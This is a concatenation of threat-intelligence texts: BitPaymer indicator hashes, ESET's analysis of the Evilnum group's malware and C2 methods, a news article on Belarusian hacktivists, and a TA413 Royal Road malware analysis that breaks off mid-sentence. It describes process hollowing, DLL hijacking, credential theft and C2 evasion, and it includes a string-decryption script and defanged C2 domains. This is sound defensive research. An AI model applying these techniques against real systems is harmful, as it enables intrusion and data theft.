SPIDER. Since they were first identified in January 2016, this adversary has consistently targeted large organizations for high ransom demands. In July 2017, INDRIK SPIDER joined the movement of targeted ransomware with BitPaymer. Most recently, the ransomware known as Ryuk came to market in August 2017 and has netted its operators, tracked by Falcon Intelligence as GRIM SPIDER, a significant (and immediate) profit in campaigns also targeting large organizations. Falcon Intelligence anticipates that big game hunting operations will continue to grow. The criminal actors INDRIK SPIDER, BOSS SPIDER, and GRIM SPIDER will sustain their operations in the near-term. It is also likely that other criminal actors are considering the option of running sophisticated ransomware operations. Given the tools, skilled campaign operators, and malware required, it is likely there will still be only a handful of criminal groups able to do so in the near future; however, Falcon Intelligence considers this to be a growing eCrime threat. ## Indicators The following table contains SHA256 hashes for BitPaymer samples analyzed by Falcon Intelligence. | SHA256 Hash | Build Time (UTC) | |------------------------------------------------------------------------------|-----------------------| | c7f8c6e833243519cdc8dd327942d62a627fe9c0793d899448938a3f10149481 | 2017-10-22 07:48:04 | | 17526923258ff290ff5ca553248b5952a65373564731a2b8a0cff10e56c293a4 | 2017-06-08 14:20:38 | | 282b7a6d1648e08c02846820324d932ccc224affe94793e9d63ff46818003636 | 2017-06-30 09:33:52 | | 8943356b0288b9463e96d6d0f4f24db068ea47617299071e6124028a8160db9c | 2018-01-26 14:43:27 | The following table contains SHA256 hashes for unpacked BitPaymer decryptor samples analyzed by Falcon Intelligence. | SHA256 Hash | Build Time (UTC) | |------------------------------------------------------------------------------|-----------------------| | f0e600bdca5c6a5eae155cc82aad718fe68d7571b7c106774b4c731baa01a50c | 2017-06-07 15:08:59 | | b44e61de54b97c0492babbf8c56fad0c1f03cb2b839bad8c1c8d3bcd0591a010 | 2017-08-02 15:40:03 | | 13209680c091e180ed1d9a87090be9c10876db403c40638a24b5bc893fd87587 | 2017-11-07 14:40:50 | The following table contains SHA256 hashes for Dridex samples deployed during the initial stages of a BitPaymer compromise. | SHA256 Hash | Build Time (UTC) | |------------------------------------------------------------------------------|-----------------------| | 91c0c6ab8a1fe428958f33da590bdd52baec868c7011461da8a8972c3d989d42 | 2018-05-01 14:43:04 | | f1d69b69f53af9ea83fe8281e5c1745737fd42977597491f942755088c994d8e | 2018-05-01 00:35:47 | | 39e7a9b0ea00316b232b3d0f8c511498ca5b6aee95abad0c3f1275ef029a0bef | 2018-02-18 12:38:40 |
# More Evil: A Deep Look at Evilnum and Its Toolset Matías Porolli July 9, 2020 ESET has analyzed the operations of Evilnum, the APT group behind the Evilnum malware previously seen in attacks against financial technology companies. While said malware has been seen in the wild since at least 2018 and documented previously, little has been published about the group behind it and how it operates. In this article, we connect the dots and disclose a detailed picture of Evilnum’s activities. The group’s targets remain fintech companies, but its toolset and infrastructure have evolved and now consist of a mix of custom, homemade malware combined with tools purchased from Golden Chickens, a Malware-as-a-Service (MaaS) provider whose infamous customers include FIN6 and Cobalt Group. ## Targets According to ESET’s telemetry, the targets are financial technology companies – for example, companies that offer platforms and tools for online trading. Although most of the targets are located in EU countries and the UK, we have also seen attacks in countries such as Australia and Canada. Typically, the targeted companies have offices in several locations, which probably explains the geographical diversity of the attacks. The main goal of the Evilnum group is to spy on its targets and obtain financial information from both the targeted companies and their customers. Some examples of the information this group steals include: - Spreadsheets and documents with customer lists, investments, and trading operations - Internal presentations - Software licenses and credentials for trading software/platforms - Cookies and session information from browsers - Email credentials - Customer credit card information and proof of address/identity documents According to what we have seen during our investigation, the group has also gained access to IT-related information such as VPN configurations. ## Overview of the Attack Targets are approached with spearphishing emails that contain a link to a ZIP file hosted on Google Drive. That archive contains several LNK (aka shortcut) files that extract and execute a malicious JavaScript component while displaying a decoy document. These shortcut files have “double extensions” to try to trick the user into opening them, thinking they are benign documents or pictures (in Windows, file extensions for known file types are hidden by default). Once a shortcut file is opened (it doesn’t matter which one, as they all do the same thing), it looks in the contents of its own file for lines with a specific marker and writes them to a .js file. Then this malicious JavaScript file is executed and it writes and opens a decoy file with the same name as the shortcut, but with the correct extension. It also deletes the shortcut file. The documents used as decoys are mostly photos of credit cards, identity documents, or bills with proof of address, as many financial institutions require these documents from their customers when they join, according to regulations (this is known as “Know Your Customer”). The JavaScript component is the first stage of the attack and can deploy other malware such as a C# spy component, Golden Chickens components, or several Python-based tools. The name Evilnum was given to the C# component by other researchers in the past, but the JS component also has been referred to as Evilnum. We have named the group Evilnum as that is the name of their flagship malware, and we’ll refer to the various malware pieces as components. Each of the various components has its own C&C server, and each component operates independently. The operators of the malware manually send commands to install additional components and use post-compromise scripts and tools if they consider them necessary. Most servers used by the malware are referenced by IP addresses; domain names have not been used. The only exceptions are the C&C servers used by the Golden Chickens components; malware purchased from a MaaS provider, as we describe later. Those referenced by an IP address can be split into two groups, based on the hosting provider. The majority of them are hosted with FreeHost, a Ukrainian provider. The rest are hosted in the Netherlands, with Dotsi. ## JS Component: First Compromise This component communicates with a C&C server and acts as a backdoor without the need for any additional program. However, in most attacks that we have seen, the attackers deployed additional components as they saw fit and used the JS malware only as a first stage. The first known mention of this JavaScript malware was in May 2018. The malware has changed since then. Differences between version 1.3 and the others are noteworthy, as the server-side code for the C&C was changed and commands are different. In that early version, it was not possible to upload files to the C&C, only to download files to the victim’s computer. Also, as new versions appeared, the malware was extended with some Python scripts and external tools such as ChromeCookiesView. Despite the differences, the core functionalities remain the same in all versions, including the retrieval of the C&C server’s address from GitHub, GitLab, or Reddit pages created specifically for that purpose. This component achieves persistence through the Run registry key and has full backdoor capabilities: it can download and execute binaries, run arbitrary commands, or upload files from the victim computer to the C&C server. ## C# Component: Evil, Not So Evil In March 2019, Palo Alto Networks described malware with very similar functionality to the JS component, but coded in C#. That version (2.5) obtained the address of its C&C by dividing a number by 666, and was therefore named Evilnum by Palo Alto Networks researchers. Since then, there have been new versions of the C# malware, the latest of them being version 4.0, which we first saw in April 2020. The number 666 is not used anymore, and the PDB paths of the executables show that the developers call their malware “Marvel.” However, we will continue to name the malware Evilnum to avoid creating confusion. The latest version comes bundled in an MSI file (Windows Installer) and runs independent of the JS component. Furthermore, it has different C&Cs than the JS component. However, in all cases that we have seen, the C# component was downloaded and executed after the JavaScript malware gained initial access. When the MSI file is executed, three malicious components, along with some .NET Framework library files, are written to disk in %LOCALAPPDATA%\Microsoft\Mediia. The file copier is the first to be executed and its only purpose is to move the files to another location in %LOCALAPPDATA%. The loader is then executed and it loads and decrypts the contents of the file System.Memmory.dll, which is the actual malicious payload (DLL Agent) for the C# component. AES encryption is used for the DLL and for obfuscation of the strings in the payload. The same key and initialization vector are used to encrypt the strings in all of the different versions. The IP address of the C&C server is hardcoded and in plain text. A GET request is sent for /Validate/valsrv and if the response body contains the text youwillnotfindthisanywhare, then the server is accepted. Otherwise, a GitLab page is parsed to get the IP address of a second server. The following capabilities are present in version 4.0: - Take screenshots if the mouse has been moved in a period of time, and send them to the C&C, base64 encoded. The image is stored in a file called SC4.P7D - Run commands - Run other binaries via cmd.exe - Send information such as computer name, username, and antivirus installed - Persist in a compromised system by creating registry keys ## Commands The commands that can be sent to the malware are: - killme: stops the malware and removes persistence - mouse: moves the mouse. With this action, a screenshot will be taken - cookies: sends Chrome cookies to the C&C - passwords: sends Chrome saved passwords. We believe they focus on Chrome not based on market share (after all, these are targeted attacks), but because of the ease of processing cookies and retrieving stored passwords - Other commands to be run directly with cmd.exe Version 2.5 was the first documented version of the C# component (first seen by ESET in December 2018). Then we saw v2.7.1 (November 2019), v3 (December 2019), and v4.0 (April 2020). The most important differences between the latest version of the malware and previous ones are: - The main payload is a 32-bit DLL. Previously, it was a 64-bit EXE file. - HTTPS communication in the latest version - There is no “reverse” command anymore. It was used in previous versions to open a reverse shell. This is now done with other scripts The JS and C# components are connected to each other: the latter takes screenshots whereas the former doesn’t, but it has code that looks for screenshot files and sends them to its C&C server. The C# component also deletes all files with the .lnk extension in the %LOCALAPPDATA%\Temp folder, cleaning leftovers from the initial compromise by the JS component. So even if the C# component has limited functionalities (it can’t download or upload files), it provides redundancy with a different C&C server and extra persistence in case the JS component is detected or removed. ## Golden Chickens Components: TerraLoader Family In a small number of cases, the Evilnum group has also deployed some tools purchased from a Malware-as-a-Service provider. This term is used to describe malware authors who offer not only their malicious binaries but also any necessary infrastructure (such as the C&C servers) and even technical support to their criminal customers. In this case, the MaaS provider is known as Golden Chickens and has other customers (apart from this group), such as FIN6 and Cobalt Group. Older versions of all the components that we describe in the following sections were seen previously, in an attack against eCommerce merchants that Visa attributed to FIN6 in February 2019. We believe that FIN6, Cobalt Group, and Evilnum group are not the same, despite the overlaps in their toolsets. They just happen to share the same MaaS provider. The Golden Chickens tools come as ActiveX components (OCX files) and all of them contain TerraLoader code, which serves as a common loader for the various payloads available to Golden Chickens’ customers. These tools are used by Evilnum as follows: - The attackers manually send a command to the JS or C# component to drop and execute a batch file from one of their servers. - That batch file writes a malicious INF file and supplies it as a parameter to the Microsoft utility cmstp.exe, which executes a remote scriptlet specified in the INF file. This technique has been documented in the MITRE ATT&CK knowledge base as CMSTP; an example of how this technique is used may be found here. This technique has been used in the past by Cobalt, another financially motivated group. - The remote scriptlet contains obfuscated JS code that drops an OCX file and executes it via regsvr32.exe. The TerraLoader code performs several integrity checks before dropping the payload. These checks implement anti-debugging techniques and try to identify anomalies to prevent execution in sandboxed environments. Some of these techniques range from detecting incorrect parameters, filenames, and extensions, to detecting hardware breakpoints or identifying specific modules loaded into the subject process. Should these checks all pass, the actual payload is decrypted and executed. We have seen Evilnum deploy the following Golden Chickens payloads in their attacks: - More_eggs - A Meterpreter payload that we will call TerraPreter - TerraStealer - TerraTV Researchers from Positive Technologies recently analyzed some tools used by the Cobalt group, including More_eggs version 6.6, which is one of the versions used by Evilnum group. They have a very good analysis of TerraLoader, so we suggest checking their report. ## More_eggs More_eggs is a JavaScript backdoor that communicates with a C&C server and accepts commands. It has been used in the past by other groups targeting financial companies. Evilnum uses it in conjunction with its homemade backdoors in order to provide redundancy and additional persistence on victim networks. We have seen Evilnum use 32-bit ActiveX components with TerraLoader code that runs More_eggs versions 6.5, 6.6, and 6.6b – the latest available versions. They do so by dropping msxsl.exe (a command line transformation utility that is a legitimate Microsoft executable) and having it execute the JavaScript code. The dropped JavaScript code is generated on the fly by the ActiveX component, and there are some considerations during analysis: - The initial JS code that executes exe has a hardcoded absolute path, so executing it from another location or with another user will fail. - The final More_eggs payload is encrypted with a key that has the hostname and processor family information appended at the end. The core functionalities are the same as described in the article linked above, although there is a new command, more_time, not mentioned there. This command is similar to the documented command via_c, which executes its parameter with cmd.exe /v /c <parameter>. The difference is that it additionally sends the output back to the C&C (via_c only sends whether or not the command succeeded). ## TerraPreter Evilnum group also uses 64-bit executables that decrypt and run a Meterpreter instance in memory. The use of Meterpreter gives them flexibility and the ability to run various payloads in a stealthy and extensible way. The structure of these components and the integrity checks implemented were identified as TerraLoader code. That’s why we refer to these components as TerraPreter. The routine labeled Dummy calls a series of APIs that don’t do anything. The RC4 function initialization brute-forces the key to use by taking a base string and appending a number to it that is incremented in each iteration. It then decrypts a 16-byte buffer with the candidate key using RC4. If the decrypted buffer matches a hardcoded string, then that candidate key will be the chosen RC4 key for later use. We believe this may be a time-wasting countermeasure against emulators. After the embedded buffer with the payload is decrypted, the malware will finally set a callback to the GrayStringW API function, pointing to the decrypted buffer. From this point on, what we see is regular Meterpreter behavior that has not been modified. However, we will continue to describe how communications are performed. TerraPreter communicates with a C&C server using HTTPS and retrieves a series of commands. C&Cs we have seen contacted are cdn.lvsys[.]com and faxing-mon[.]best. The first one was redirected to d2nz6secq3489l.cloudfront[.]net. Every time a C&C receives a request, it sends different binary data XORed with a random 4-byte key. The malware reads the key to be used for decryption from the first 4 bytes of a 32-byte header that prefixes the encrypted data. The first command sent by the C&C is core_patch_url, which changes the last part of the URL for subsequent requests. Then core_negotiate_tlv_encryption is sent by the C&C, along with its public key. From this point on, messages will be encrypted before they are XORed. ## TerraStealer and TerraTV TerraStealer is also known as SONE or Stealer One. It scans for many browsers, email, FTP, and file transfer applications, to steal cookies and credentials. One of the binaries we analyzed had logging activated. Another component used by this group is a variant of TerraTV. It runs a legitimate TeamViewer application but hides its user interface elements, so that the operators of the malware can connect to the compromised computer undetected. When executed, TerraTV drops several signed TeamViewer components into C:\Users\Public\Public Documents\57494E2D3850535046373333503532\. The dropped files are shown in Figure 10. ACTIVEDS.dll is not signed and it is where the malicious code resides. There is a Windows DLL with that same name in the system folder, but since the malicious DLL is in the same directory as the TeamViewer executable, it is found first, and therefore is loaded instead of the Windows DLL. This is known as DLL search order hijacking. ACTIVEDS.dll hooks several API calls in the TeamViewer executable to hide the application’s tray icon and to capture login credentials. ## Post-Compromise Toolset The malicious components previously mentioned are frequently extended with several additional tools in the Evilnum group’s arsenal. In most of the compromises we have seen, the attackers utilized publicly available tools but have also developed some custom scripts. Usually, they keep their tools in password-protected archives on their servers and decompress them on a victim’s PC as needed. ### Python-based Tools - Reverse shell over SSL script: A very short script that takes the server and port as command line arguments. - SSL proxy that uses PythonProxy, junction, plink, and stunnel. It can also connect to an FTP server or use pysoxy. - LaZagne to retrieve stored passwords - IronPython along with libraries for taking screenshots, keylogging, and recording DirectSound audio ### Other Publicly Available Tools - PowerShell scripts: for example, Bypass-UAC - Several NirSoft utilities; for example, Mail PassView, to retrieve passwords from email clients, and ProduKey, to get Microsoft Office and Windows Licenses ## Conclusion The Evilnum group has been operating for at least two years and was active at the time of this writing. It has an infrastructure for its operations with several different servers: one for communications with the JS component, another for the C# component, a different one for storing its tools and exfiltrated data, proxy server, and so on. This group targets fintech companies that provide trading and investment platforms for their customers. The targets are very specific and not numerous. This, and the group’s use of legitimate tools in its attack chain, have kept its activities largely under the radar. Thanks to our telemetry data, we were able to join the dots and discover how the group operates, uncovering some overlaps with other known APT groups. We think this and other groups share the same MaaS provider, and the Evilnum group cannot yet be associated with any previous attacks by any other APT group. A comprehensive list of Indicators of Compromise (IoCs) and samples can be found in our GitHub repository. For any inquiries, or to make sample submissions related to the subject, contact us at [email protected]. Special thanks to Ignacio Sanmillan for his help with the analysis of the Golden Chickens components. ## MITRE ATT&CK Techniques | Tactic | ID | Name | Description | |--------|----|------|-------------| | Initial Access | T1192 | Spearphishing Link | Emails contain a link to download a compressed file from an external server. | | Execution | T1191 | CMSTP | cmstp.exe is used to execute a remotely hosted scriptlet that drops a malicious ActiveX file. | | Execution | T1059 | Command-Line Interface | cmd.exe is used to execute commands and scripts. | | Execution | T1129 | Execution through Module Load | The malicious payload for the version 4.0 C# component is loaded from a DLL. TerraTV loads a malicious DLL to enable silent use of TeamViewer. | | Execution | T1061 | Graphical User Interface | TerraTV malware allows remote control using TeamViewer. | | Execution | T1086 | PowerShell | Evilnum group executes LaZagne and other PowerShell scripts after their JS component has compromised a target. | | Execution | T1117 | Regsvr32 | Evilnum group uses regsvr32.exe to execute their Golden Chickens tools. | | Execution | T1064 | Scripting | Initial compromise and post-compromise use several JavaScript, Python, and PowerShell scripts. | | Execution | T1218 | Signed Binary Proxy Execution | msiexec.exe is used to install the malicious C# component. | | Execution | T1204 | User Execution | Victims are lured to open LNK files that will install a malicious JS component. | | Execution | T1047 | Windows Management Instrumentation | WMI is used by the JS component to obtain information such as which antivirus product is installed. | | Execution | T1220 | XSL Script Processing | More_eggs malware uses msxsl.exe to invoke JS code from an XSL file. | | Persistence | T1060 | Registry Run Keys / Startup Folder | Registry Run keys are created in order to persist by the JS and C# components, as well as More_eggs. | | Persistence | T1108 | Redundant Access | Evilnum components are independent and provide redundancy in case one of them is detected and removed. | | Persistence | T1179 | Hooking | TerraTV malware hooks several API calls in TeamViewer. | | Defense Evasion | T1038 | DLL Search Order Hijacking | TerraTV malware has TeamViewer load a malicious DLL placed in the TeamViewer directory, instead of the original Windows DLL located in a system folder. | | Defense Evasion | T1088 | Bypass User Access Control | A PowerShell script is used to bypass UAC. | | Defense Evasion | T1116 | Code Signing | Some of the Golden Chickens components are malicious signed executables. Also, Evilnum group uses legitimate (signed) applications such as cmstp.exe or msxsl.exe as a defense evasion mechanism. | | Defense Evasion | T1090 | Connection Proxy | Connection to a proxy server is set up with post-compromise scripts. | | Defense Evasion | T1140 | Deobfuscate/Decode Files or Information | Encryption, encoding, and obfuscation are used in many Evilnum malware components. | | Defense Evasion | T1107 | File Deletion | Both JS and C# components delete temporary files and folders created during the initial compromise. | | Defense Evasion | T1143 | Hidden Window | TerraTV runs TeamViewer with its window and tray icon hidden. | | Defense Evasion | T1036 | Masquerading | The C# component has its payload in system.memory.dll, which masquerades as a benign .NET Framework DLL. | | Defense Evasion | T1112 | Modify Registry | Evilnum modifies the registry for different purposes, mainly to persist in a compromised system (for example, by using a registry's Run key). | | Defense Evasion | T1027 | Obfuscated Files or Information | Encryption, encoding, and obfuscation are used in many Evilnum malware components. | | Defense Evasion | T1497 | Virtualization/Sandbox Evasion | The Golden Chickens components implement several integrity checks and evasion techniques. | | Credential Access | T1003 | Credential Dumping | Scripts and tools such as LaZagne are used to retrieve stored credentials. | | Credential Access | T1503 | Credentials from Web Browsers | The C# component retrieves stored passwords from Chrome. | | Credential Access | T1056 | Input Capture | Custom Python scripts have been used for keylogging. | | Credential Access | T1539 | Steal Web Session Cookie | Evilnum malware steals cookies from Chrome. | | Discovery | T1012 | Query Registry | More_eggs queries the registry to know if the user has admin privileges. | | Discovery | T1063 | Security Software Discovery | Both the JS and C# components search for installed antivirus software. | | Discovery | T1518 | Software Discovery | TerraStealer malware looks for specific applications. | | Discovery | T1082 | System Information Discovery | Information about the system is sent to the C&C servers. | | Collection | T1074 | Data Staged | Data is stored in a temporary location before it is sent to the C&C. | | Collection | T1005 | Data from Local System | The JS component (v2.1) has code to exfiltrate Excel files from the local system. | | Collection | T1114 | Email Collection | TerraStealer malware targets email applications. | | Collection | T1056 | Input Capture | Keystrokes are logged with a Python script. | | Collection | T1113 | Screen Capture | Screenshots are taken by some Evilnum malware components. | | Command and Control | T1043 | Commonly Used Port | HTTP and HTTPS are used for C&C communication. | | Command and Control | T1132 | Data Encoding | Some of the data sent to the C&C is base64-encoded. | | Command and Control | T1008 | Fallback Channels | The JS and C# components can obtain a new C&C by parsing third-party webpages if the original C&C is down. | | Command and Control | T1104 | Multi-Stage Channels | Evilnum malware uses independent C&C servers for its various components. | | Command and Control | T1219 | Remote Access Tools | TerraTV malware uses TeamViewer to give control of the compromised computer to the attackers. | | Command and Control | T1105 | Remote File Copy | Files are uploaded to/downloaded from a C&C server. | | Command and Control | T1071 | Standard Application Layer Protocol | HTTP and HTTPS are used for C&C. | | Command and Control | T1032 | Standard Cryptographic Protocol | More_eggs malware uses RC4 to encrypt data to be sent to the C&C. | | Command and Control | T1102 | Web Service | GitHub, GitLab, Reddit, and other websites are used to store C&C server information. | | Exfiltration | T1022 | Data Encrypted | Some Evilnum components encrypt data before sending it to the C&C. | | Exfiltration | T1048 | Exfiltration Over Alternative Protocol | Scripts are manually deployed by the malware operators to send data to an FTP server. | | Exfiltration | T1041 | Exfiltration Over Command and Control Channel | Data is exfiltrated over the same channel used for C&C. |
# Hackers are trying to topple Belarus’s dictator, with help from the inside Since becoming president of Belarus in 1994, Alexander Lukashenko has built Europe’s most repressive police state and ruthlessly used his power to stay in office as a dictator. Now hackers are trying to turn the extensive surveillance state against Lukashenko to end his reign—and to do it, they claim to have pulled off one of the most comprehensive hacks of a country in history. The hackers, known as the Belarus Cyber Partisans, have been regularly leaking information they say has been obtained by breaching dozens of sensitive police and government databases. So far they have published what they say is evidence of crimes by police, information showing that the regime covered up the country’s true covid-19 mortality rate, and recordings of illegal orders to violently crack down on peaceful protests. The partisans also say that they have successfully hacked almost every part of the Lukashenko administration and that the information released so far is just a fraction of the data they have. “What we want is to stop the violence and repression from the terroristic regime in Belarus and to bring the country back to democratic principles and rule of law,” an anonymous spokesperson for the hackers told MIT Technology Review. But the Partisans are not operating alone. According to interviews, the hackers benefit from a partnership with a key group of Belarusian law enforcement and intelligence officers. A group called BYPOL, which includes current and former regime officials, has been offering close guidance for many months. Some of them are providing help from outside the country, having defected after Lukashenko’s fraudulent claims of victory in the 2020 presidential election and the brutal crackdown that followed. But others, the group says, are working against Lukashenko from within in the conviction that his regime—which arrested more than 27,000 people in the wake of protests last year—must fall. “They’re making the regime’s crimes transparent,” says Andrei Sannikov, a former Belarusian diplomat who is not part of either the Cyber Partisans or BYPOL. “The information they’re getting by hacking the state really is very eloquent in witnessing the criminal activities of the regime against the citizens.” While Belarus has been under Lukashenko’s control for almost 30 years, protests and opposition have ramped up significantly since the elections held in August 2020. His disputed victory led to a swell of anti-regime protests as Lukashenko violently crushed peaceful dissent. The crackdowns were a breaking point for many. Aliaksandr Azarau was a lieutenant colonel in Belarus’s police force, and before that, he worked to combat organized crime and corruption for the Ministry of Interior. He says what he saw turned him against the regime. “I was present at the election,” Azarau says. “I saw falsifications with my own eyes. I decided to resign after I received unlawful orders from superior officers. A lot of people were detained in the first days after the election. My colleagues were illegally sending false documents about crimes these people committed. I decided Lukashenko kept his power illegally.” He was one of a significant number of law enforcement officials who left Belarus as a result. About a dozen of them reconvened in Warsaw, in neighboring Poland, and launched BYPOL in October. (The group’s name means Belarus Police.) They say they have hundreds of members and contacts still inside government security agencies including the secret police (known as the KGB), the Ministry of Interior, and border control. The Cyber Partisans say they are made up of around 15 IT experts from Belarus’s technology sector: the country has a thriving scene, including numerous gaming and social startups, although many experts have left in opposition to the regime. They began defacing government websites in September 2020, a simple but highly visible act of protest that got them attention as the country convulsed in turmoil. In December of that year, according to Azarau, the Partisans reached out to BYPOL with bigger goals in mind. “The Cyber Partisans wrote to us to help them find a way to understand all the law enforcement and intelligence agencies,” he says. “They wanted to know how to penetrate inside these organizations to steal information. Because we work there, we know everything inside. We consulted with them on how to do this.” After those early discussions, the Cyber Partisans say they ended up carrying out the actual hacks themselves. BYPOL’s current and former security force members have helped them understand the structure of government databases, process the data they access, and identify individuals from hacked phone calls. Insiders are also able to “provide feedback from within the system on how the hack affected the security forces,” the hacking group’s spokesperson says. In exchange, BYPOL has access to material from the Cyber Partisans to help them conduct investigations into the regime, which are then published on BYPOL’s own Telegram channel. Those investigations have been popular and successful, and one of their documentaries was cited during an American congressional hearing on Belarus which took place shortly before the US imposed sanctions against Lukashenko and his allies. The hackers say their latest series of attacks has given them access to drone footage from protest crackdowns, the Ministry of Interior Affairs’s mobile-phone surveillance database, and databases for passports, motor vehicles, and more. They also say they have accessed audio recordings from emergency services and video feeds from road speed and surveillance cameras, as well as from isolation cells where detainees are held. The Partisans say their intention is to undermine the regime at every level. “We have a strategic plan that includes cyberattacks to paralyze as much as possible of the regime’s security forces, to sabotage the regime’s weak points in the infrastructure, and to provide protection for protesters,” said the spokesperson. “The hack is important because it shows the regime is not as unstoppable and unbeatable as it projects to be,” says Artyom Shraibman, a political analyst at the Carnegie Moscow Center. “It shows the weakness of their system. It emboldens the protesters. Many people in the protest have met these leaks with joy and a sense of victory.” The Cyber Partisans say they are not criminal hackers but technology-sector employees who cannot stand by any longer. The group’s spokesperson says that four individuals conduct “actual ethical hacking” while the others provide support, analysis, and data processing. “We don’t have any professional hackers,” they told MIT Technology Review. “All of us are IT specialists and some cybersecurity specialists that learned on the go.” Pavel Slunkin, who was a Belarusian diplomat until last year and is now working with the European Council on Foreign Relations, says that the Partisans reflect the technology industry’s importance to the country. “The Belarusian people who work in tech not only want economic impact, but they want to transform it into political influence.” In the run-up to last year’s election campaign, opposition candidate Viktor Babariko recruited a number of tech experts. He was arrested and sentenced to 14 years in prison for corruption in a trial critics called a "sham." “When Babariko was put in prison, the protest movement felt destroyed,” Slunkin says. “This was the starting point for people trying to oppose the regime, not on the streets, but instead where they feel stronger and more secure than the government.” The Belarusian government blamed the hacks on “foreign special services." Lukashenko’s iron grip on media and information inside Belarus has forced political opponents to move to apps like Telegram, which are harder to block or regulate. The hackers’ Telegram channel has more than 77,000 subscribers. Their most recent postings include a recording of a conversation between two senior Belarusian police officials on August 8, 2020, the day before the presidential election. In the recording, the deputy chief of the Minsk police and his subordinate discuss “preventative” arrests of protesters and major political opponents. Their targets include staff working for Tsikhanouskaya. If the Cyber Partisans deliver on their promises and threats, this may turn out to be the most thorough hack a country has ever experienced. “If we speak about possible future prosecution of the people who committed crimes on behalf of the regime, like persecuting the opposition, these hacked databases could potentially be used for tribunals and investigations,” says Shraibman. An international coalition of human rights organizations is currently investigating and documenting torture and other human rights violations to hold the Lukashenko regime accountable for crimes committed since the 2020 election protests began. As the enormous scope of the Cyber Partisan operation became clear to the Western world, an expert called it “as comprehensive of a hack of a state as one can imagine.” But the impact of the hack, as with so much in Belarus, remains unclear. “I honestly don’t know what comes next,” Shraibman says. “Politically in Belarus, it’s so volatile. Lukashenko has of course managed to suppress the street protests, that is true. But he continues to be in a vulnerable position internationally and economically. He keeps provoking all the other international actors. He can’t help but escalate. He keeps escalating. That can lead us to a very dark, dangerous place.”
# The Approach of TA413 for Tibetan Targets **Summary** This attack chain begins with the victim receiving a malicious RTF file through a phishing attack. When the victim opens the RTF file, it contains a hidden encoded file which is then decoded and executed using shellcode. The executed file performs process hollowing, injecting itself into the rundll32.dll process and establishing a connection with the attacker’s command and control (C2) server. Once connected to the C2 server, the infected machine begins sending data about itself to the attacker, who can then use this information to send further modules and commands to the infected machine. ## Technical Analysis During our analysis, we collected some important information about the document file in question. By utilizing VirusTotal to scan the file’s hash, we detected that the file is an RTF document flagged by 34 different security solutions. Further analysis revealed that the RTF document exploits several known vulnerabilities, including CVE-2017-11882, CVE-2017-8759, CVE-2018-0802, and CVE-2018-0798. Using the tool rtfobj, we extracted multiple objects from the RTF document. Upon examining these objects, we identified an exploit code that drops an encoded payload in the temp folder `Temp\ghb4nrwmp.wmf`. After decoding the dropped file, it executed to deliver the second stage. Further investigation revealed that the RTF document is related to the Royal Road. Royal Road is known for its use of weaponized Microsoft Office documents to deliver payloads, including ransomware and other malicious software. The documents often exploit vulnerabilities in software such as Adobe Reader or Microsoft Office to execute the payload without the user’s knowledge. Royal Road has been used in various campaigns targeting individuals and organizations around the world. It has been observed being delivered through spam emails, exploit kits, and other methods. Once the payload is delivered and executed, it may perform various malicious actions such as encrypting files, stealing sensitive information, and installing other malware. During our analysis, we utilized the rr_decoder tool to decode the second stage payload of the Royal Road malware, named “ghb4nrwmp.wmf”. The results of the decoding are shown below. ```bash $ python3 rr_decode.py sample_ghb4nrwmp.wmf second_stage.exe [!] Type [b2a66dff] is Detected! [+] Decoding… [!] Complete! ``` ### Second Stage Upon decoding the second stage payload of the Royal Road malware, we identified that it utilized the VirtualAlloc function multiple times to allocate a region of memory in which to copy shellcode. Upon transferring execution to the shellcode, we observed the use of obfuscation techniques such as stack strings to obscure the names of APIs. Further analysis revealed that the shellcode used the “LoadLibraryA” and “GetProcAddress” functions to resolve and locate APIs necessary for injecting the third stage of the malware into the “rundll.dll” process. In order to understand the injection process used by the Royal Road, we analyzed the behavior of the payload and identified the following steps: - The malware utilizes the VirtualAlloc function to copy shellcode into a region of memory. - The shellcode uses stack strings to obscure the command line. - The CreateProcA function is used to create a process in a suspended state (0x4) for rundll32.dll. - A handle to the target process is obtained to allocate a region of memory on it using VirtualAllocEx. - The third stage of the malware is copied into the target process using WriteProcessMemory. - The third stage is executed using the ResumeThread function. From the previous steps, we can identify that the second stage used process hollowing to inject the third stage into rundll.dll and execute it using this command line: ```bash C:\Windows\system32\rundll32.exe shell32.dll,Control_RunDLL ``` ### Third Stage The third stage of the malware is developed in C and functions as a backdoor to collect information about the infected system and send it to the attacker. If the attacker determines that the infected system is of interest, they may choose to drop the next stage of the malware. ### Mutex Upon analysis of the malware, it was observed that it creates a mutex with the identifier “552FFA80-3393-423d-8671-7BA046BB5906.” This mutex is also used as the malware’s campaign name. ### Obfuscation The malware is equipped with the capability to encrypt strings using a simple XOR algorithm. This function was used by the malware to decrypt APIs at runtime in order to evade detection by static analysis tools. The malware also loaded four libraries into runtime using this technique. It is worth noting that different keys were used to decrypt the APIs and the libraries. The keys used for decryption are as follows: - Key for decrypting APIs: `cffb9895f0dcddca9e8befc4aee9b1bf` (in hex) - Key for decrypting libraries: `bf8a87e415cebb95aaf991b08ec486a4` (in hex) After decrypting the APIs, the malware was able to utilize the GetProcAddress function to resolve the APIs and load the libraries using LoadLibraryA. The loaded libraries include: - ws2_32.dll - ntdll.dll - advapi32.dll We can see our script to decrypt encrypted strings: ```python def unhex(hex_string): import binascii if type(hex_string) == str: return binascii.unhexlify(hex_string.encode('utf-8')) else: return binascii.unhexlify(hex_string) def tohex(data): import binascii if type(data) == str: return binascii.hexlify(data.encode('utf-8')) else: return binascii.hexlify(data) out = [] data = unhex("c8f8b7b822f993f6ce9c9b") key = unhex("bf8a87e415cebb95aaf991b08ec486a4") for i in range(0, len(data)): out.append(i ^ data[i] ^ key[i & 15]) print(bytes(out)) ``` ### Collecting Sensitive Information The function appears to be designed to gather and encode various system information. It does this by first decrypting several strings using the mw_decrypt_strings function. These strings are likely API names or other relevant information that is used later in the function. The function then calls one of the decrypted functions (either GetNativeSystemInfo or GetSystemInfo) to retrieve system information and stores it in an array called system_info. This information may include details such as the system’s processor, memory, and operating system. The function then encodes this information, as well as the hostname and username, using the mw_base64_encode function. The encoded strings are then concatenated into a single string. **Collected Information:** - Username - Process name and Process ID - IP Address - Hostname ### Evade Detection After gathering and encoding data, the malware appears to use the LZF compression algorithm to compress the data further. It then applies an XOR operation with the value 0x2b to encrypt each element of the compressed data before encoding it again using the base64 encoding method. This process may be used to reduce the size of the data for easier transmission. ### Establish a Connection The malware establishes a connection with the server over a socket, calling `htons` to ensure that the data is correctly interpreted by the receiving system, then calling: - `mw_create_listen`: to create a socket that can listen for incoming connections. - `mw_send_socket_connection`: to send a socket connection request to a server. - `mw_establishing_connection_server`: to establish a connection with a server. ### Implementation of a Simple HTTP The malware appears to have implemented a 